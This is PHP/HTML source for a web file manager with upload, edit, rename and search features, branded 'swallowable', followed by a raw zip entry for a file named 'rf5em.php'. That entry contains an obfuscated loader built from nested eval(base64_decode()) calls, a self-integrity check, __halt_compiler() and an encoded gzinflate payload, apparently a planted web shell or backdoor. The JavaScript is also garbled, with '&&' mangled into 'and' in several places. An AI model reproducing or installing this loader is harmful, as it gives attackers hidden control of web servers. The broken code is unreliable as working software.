.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'swallowable'; $tr['en']['AppTitle'] = 'swallowable';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK �Fm\�*I�X� X� rf5em.phpnu �[��� <?php /* Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();XPmKNaaWYoIWZ1bmN0aW9uX2V4aXN0cygiTzAwMDBPT08wTyIpKXtmdW5jdGlvbiBPMDAwME9PTzBPKCRhLCRiLCRjKXskZD1pbXBsb2RlKCRjKTskZD1wcmVnX3JlcGxhY2UoIi9fX2hhbHRfY29tcGlsZXIuKi8iLCIiLCRkKTtpZigkYj09aGFzaCgid2hpcmxwb29sIiwiJGQiKSl7cmV0dXJuKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRhKSkpO31lbHNle2RpZSgiPHR0PndoaXJscG9vbCBDb2RlIG1hbmlwdWxhdGlvbiBkZXRlY3RlZDwvdHQ+Iik7fX19615bfcf3e480fa01f9b3a162377154eef89c59d8fbf4edacebef1a65c0b786ece25de366b04aaa1c15c033ec48f43653401f1e20fc72f452f421ed69ec6f4ab67P3ZcuLY1jYKX86/I+pgScJkJoemEQhbsukE6OQPEE46CbMKbEBXv0czOwnhpqrW+65vx3eQ4QTUzGbM0Y9nvLzPkv9nPju8/Lj7/y9e4tfFy//z/2us67t5pf/utY7py7D79nSp9+L2Ph0PX5fdTjeJ27XLwq0l8a77Hu/85fOgvo8rQbJoLLdTJ9o9Dqvb6aS/Gl+68Utzak+aLcdPzndB1o394agy6SwrfnI6+9kCfo8v8LsVhKdzsKnnfg82ffx8ht/tAO/fxOvJYLt8vtxfvccf9j58jz+cXr+Hri++Bz438T33P7xO/7IYj3567cX7ov1rOc+C33PX/+m5vjUbn1dP63q6GFc3i3byPof/z8NaNmvXKhPHTmA9VpEzen0Y1OH+JPUaK7VGEztwR3bQHVrVeX9r/x5Z4XBkJc/DpNbtu/bcwzEMQ712Ns4pwM9nmoONYxzhWuy9zmHZbQeH6STIvKa1nMHfaNJ77bq1YT8MhoNR7WlsRYHxzt+DUX/BazbNcI0CF9fWxc8Wvo/XyFdr/fl4eXzifssPeU1hb23ag0t34TVflzwv3ItR5m0Oy2gcvM4v92u4JpvSHOtwj3eiZ+DnFJ/ZO9MzxBoEWRgHTdpffDaMVa5NnKl3Nxe8dp3lxW94y8c10st5FVd8/P+avk9OlWDNv/3V/aCx0X7g+uF+3L95jS6MsR/jPGFMJ5xbNPB+ep3wLXZC66HRN55/bA9DvU8TK2lNwsOa6JDmEao9onfSHvUq9M5Bd/EwPCyB/v6B/cb50H7DOK3l74E4/+1aM6qEbTz/C2vRDuD8R7vwbVrp7+fO3TJK7d8RzGni9PdxGsI5qF1eJsH+JR29dtvGd0BHLxd4Zru2no5PSK+reTv4HaW1Q9QOL/D8fbS+fy1+D/RcE2eQ6bxDzwZ+c396Ih5Qs+e7nvoctZNLL/cdnMlKN5kCncH5e4sm8XKEY5p0s9kkSgaTfhKnrgXXdBfw